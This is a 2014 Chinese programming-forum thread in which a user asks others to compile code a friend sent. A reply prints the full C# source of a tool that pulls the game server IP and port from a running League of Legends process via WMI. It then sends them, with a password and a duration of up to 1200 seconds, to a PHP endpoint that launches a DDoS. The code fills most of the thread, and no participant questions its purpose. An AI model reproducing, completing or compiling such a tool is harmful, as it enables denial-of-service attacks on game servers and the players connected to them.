http://www.sufeinet.com/plugin.php?id=keke_group

苏飞论坛

 找回密码
 马上注册

QQ登录

只需一步,快速开始

分布式系统框架(V2.0) 轻松承载百亿数据,千万流量!讨论专区 - 源码下载 - 官方教程

HttpHelper爬虫框架(V2.7-含.netcore) HttpHelper官方出品,爬虫框架讨论区 - 源码下载 - 在线测试和代码生成

HttpHelper爬虫类(V2.0) 开源的爬虫类,支持多种模式和属性 源码 - 代码生成器 - 讨论区 - 教程- 例子

查看: 3686|回复: 5

[其他] 我的电脑格式化了,把Visual Studio给删了,朋友发了个源码过来,我不可以编译

[复制链接]
发表于 2014-8-28 17:52:56 | 显示全部楼层 |阅读模式
1金钱
本帖最后由 Extreme只配孤独 于 2014-8-28 17:59 编辑

RT,谁能帮我编译一下,我的朋友现在不在,所以不可以叫他编译,我网速慢,不想下载Visual Studio,下载地址:http://yun.baidu.com/share/link?shareid=4115748870&uk=2956196668



1. 开通SVIP会员,免费下载本站所有源码,不限次数据,不限时间
2. 加官方QQ群,加官方微信群获取更多资源和帮助
3. 找站长苏飞做网站、商城、CRM、小程序、App、爬虫相关、项目外包等点这里
发表于 2014-8-28 18:14:23 | 显示全部楼层
这本身就是编译好的吧,没有源码啊看着
回复

使用道具 举报

发表于 2014-8-28 18:15:08 | 显示全部楼层
[C#] 纯文本查看 复制代码
using System;
using System.Collections.Generic;
using System.Management;
using System.Management.Instrumentation;
using System.Net;
using System.Text.RegularExpressions;

namespace League_IP
{
    internal class Lolip
    {

        private static void Main(string[] args)
        {
            Lolip ip1 = new Lolip();
            List<string> result = ip1.wmi_process();  
            int time = -1;
            if (result.Count >= 1)
            {
                Console.WriteLine("IP: " + result[0]);
                Console.WriteLine("Port: " + result[1]);
                string password = ip1.Menu();
                Console.WriteLine("Insert time of DDOS max 1200 sec");
                string time_input = Console.ReadLine();
                try
                {
                    time = Convert.ToInt32(time_input);
                }
                catch (FormatException e)
                {
                    Console.WriteLine("Input string is not a sequence of digits.");
                }
                catch (OverflowException e)
                {
                    Console.WriteLine("The number cannot fit in an Int32.");
                }
                finally
                {
                    if (time > 1200) time = 1200;

                }
                ip1.HTTPGet(result[0], result[1], password, time);
            }

        }

        private string Menu()
        {

            Console.WriteLine(" Insert your passwrord");
            string password = Console.ReadLine();
            password = password.Trim();
            string command = "";
            do
            {
                Console.WriteLine("Write ddos to start");
                command = Console.ReadLine();
                command = command.Trim();
            } while (command != "ddos");
            
            return password;
        }


        private List<string> wmi_process()
        {
            string result = "";
            List<string> iport = new List<string>();
            try
            {
                ManagementObjectSearcher searcher =
                    new ManagementObjectSearcher("root\\CIMV2",
                    "SELECT * FROM Win32_Process WHERE Caption = 'League of Legends.exe'");

                foreach (ManagementObject queryObj in searcher.Get())
                {
                    Object out_query = queryObj["CommandLine"];
                    result = out_query.ToString();
                }
            }
            catch (ManagementException e)
            {
                Console.WriteLine("An error occurred while querying for WMI data: " + e.Message);
            }
            if (result.Length <= 1) return iport;

            string pattern = "\"";

            IList<int> indeces = new List<int>();

            foreach (Match match in Regex.Matches(result, pattern))
            {
                indeces.Add(match.Index);
            }


            int pos_split = indeces[indeces.Count - 2];
            string split = result.Substring(pos_split + 1);
            string ip_final = split.Substring(0, split.IndexOf(' ') + 1);
            string port = split.Substring(ip_final.Length, 4);

            ip_final = ip_final.Trim();
            port = port.Trim();
            iport.Add(ip_final);
            iport.Add(port);

            return iport;
        }


        private void HTTPGet(string target_ip, string port, string password, int time)
        {

            Console.WriteLine("Attack sent to target: " + target_ip + " on port " + port);
            string str_time = Convert.ToString(time);
            string address = string.Format(
           "127.0.0.1/ssh_remote.php?ip={0}&port={1}&password={2}&time={3}",
            Uri.EscapeDataString(target_ip),
            Uri.EscapeDataString(port),
            Uri.EscapeDataString(password),
            Uri.EscapeDataString(str_time));
            string text;
            using (WebClient client = new WebClient())
            {
                text = client.DownloadString(address);
            }
            Console.WriteLine(text);
            Console.ReadLine();

        }
    }
}

不会是只有一个类吧,那IP端口获取就是生成后的吧
回复

使用道具 举报

 楼主| 发表于 2014-8-28 18:33:52 | 显示全部楼层
站长苏飞 发表于 2014-8-28 18:14
这本身就是编译好的吧,没有源码啊看着

我朋友说是源码的,要我编译
回复

使用道具 举报

 楼主| 发表于 2014-8-28 18:34:32 | 显示全部楼层
站长苏飞 发表于 2014-8-28 18:14
这本身就是编译好的吧,没有源码啊看着

你能帮我看看吗?
回复

使用道具 举报

发表于 2014-8-28 18:41:57 | 显示全部楼层
今天不中了明天吧,下班了,就编译这一个类就可以了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 马上注册

本版积分规则

QQ|手机版|小黑屋|手机版|联系我们|关于我们|广告合作|苏飞论坛 ( 豫ICP备18043678号-2)

GMT+8, 2024-5-14 10:00

© 2014-2021

快速回复 返回顶部 返回列表